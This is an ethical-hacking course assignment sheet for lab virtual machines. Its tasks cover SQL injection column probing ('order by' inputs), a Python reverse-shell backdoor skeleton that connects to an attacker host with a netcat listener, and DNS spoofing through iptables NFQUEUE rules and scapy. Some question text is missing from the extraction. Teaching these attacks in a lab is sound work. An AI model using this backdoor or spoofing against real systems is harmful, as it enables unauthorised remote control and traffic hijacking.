Assignment Spec CSCI369 S3 SIM 2020
Assignment Spec CSCI369 S3 SIM 2020
Assignment
Due: 11:55 pm 26 August 2020
Total Mark: 100 (30% of Final Grade)
- You must create a folder (directory) for each question. – You will need to
create seven folders named as Q1, Q2 and Q3.
- Answers for each question need to be saved in each folder.
- You need to have a VirtualBox installed on your personal laptop or
desktop. In the VirtualBox, Kali and Metasploitable virtual machines must
be installed.
- You will have to take several screenshots of the results if asked. Those
screenshots will be checked thoroughly using hash checksum. If the same
checksum will be resulted from any files submitted by two different
students, all of them will get zero mark for the question it is concerned
with. You can refer to the following site to learn how to take screenshots
on various platforms: https://www.take-a-screenshot.org/
a) (4 marks) In the input field of User ID, type ' order by 1#. You will
not get any error. This means you have at least one column in the
database. Instead of 1, try any other number, say 10 (i.e., ' order by
10#. You will get an error this time. This means 10 is too big for the
number of columns. Keep trying this way to find out the exact number
of columns. How many columns are there? Your answer needs to be
saved in Q1‐a.txt.
1
CSCI369 Ethical Hacking
This material is copyrighted. It must not be
C distributed without permission from
Joonsang Baek
You can use other graphic file formats, but make sure that it can be clearly
visible. Save all your files in the folder Q1.
Assume that you are a hacker. You want to create backdoor Trojan, which
will be delivered to the victim, assume to be an Ubuntu user. If this
backdoor is executed, the victim’s machine will connect to your machine
that runs a Kali Linux. Once you’ve got a connection, you can type any
Unix command with options, which will be sent to the victim’s machine
and executed there. (The Unix command does not need further
interactions from the user.) In other words, you get a “reverse shell”.
Your task is to write a Python program to implement this backdoor. There
are a few assumptions on your program. Read the following carefully:
a) On your Kali machine, you (as a hacker) will run netcat to wait for
incoming traffic. That is, you run nc ‐v ‐l ‐p 5555 on the terminal.
b) The backdoor Trojan is, then, a client Python program that will
connect to your Kali machine.
c) As this is (going to be) malware, you do not need to think about the
sanitization of the Linux commands. (Refer to Task 4 in Lab6.)
2
CSCI369 Ethical Hacking
This material is copyrighted. It must not be
C distributed without permission from
Joonsang Baek
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("10.0.2.15", 5555)) #10.0.2.15 is the Kali machine’s
address, which you need to change
s.send("Connected!\n".encode()) #
while True:
received_data = s.recv(1024)
if '&' in received_data.decode():
s.close()
break
else:
print(received_data.decode())
Hint: Save the above code as client.py. On your kali machine, run the netcat
command described above. On the Ubuntu machine, run client.py and see what
happens.
1) There can be many ways to perform DNS spoofing like installing a DNS
server and configuring that server to return false websites to users.
But, in this assignment, you assume the following scenario: When a
user sends a DNS request for a specific website, forward it to the right
DNS server, get (capture) the response and modify the IP part of the
response and send the modified response to the user. You need to
choose the specific website.
2) Assume that your program will target a user in your Kali (local)
machine. You do not need to redirect the forward chain to your queue.
Therefore, you should issue the following commands (instead of
iptables -I FORWARD…):
iptables ‐I OUTPUT ‐j NFQUEUE ‐‐queue‐num 1
3
CSCI369 Ethical Hacking
This material is copyrighted. It must not be
C distributed without permission from
Joonsang Baek
iptables ‐I INPUT ‐j NFQUEUE ‐‐queue‐num 1
import netfilterqueue
import scapy.all as scapy
def callback(packet):
scapy_packet = scapy.IP(packet.get_payload())
print(scapy_packet.show())
packet.accept()
q=netfilterqueue.NetfilterQueue()
q.bind(1, callback) # 1 is the queue number
q.run()
scapy_packet[scapy.DNS].ancount =1
You also need to delete the length (len) and checksum (chksum) of
each IP and UDP packet. (Otherwise, the program will not work as we
have modified the DNS response, which will make the length and
checksum different form the original packet and cause an error. Scapy
will recalculate them.) The length of each IP packet can be deleted
using the following code: del scapy_packet[scapy.IP].len
Remarks
At least 50% of the mark will be deducted if your program is not working
on the lecturer’s computer.
How to submit
Put your folders Q1, Q2 and Q3 to one folder named as your surname followed by
your student ID number (e.g. John12345). And compress this folder to make one
zip file. – Note that only zip format will be accepted and other format may result
in zero mark for your assignment.
5
CSCI369 Ethical Hacking
This material is copyrighted. It must not be
C distributed without permission from
Joonsang Baek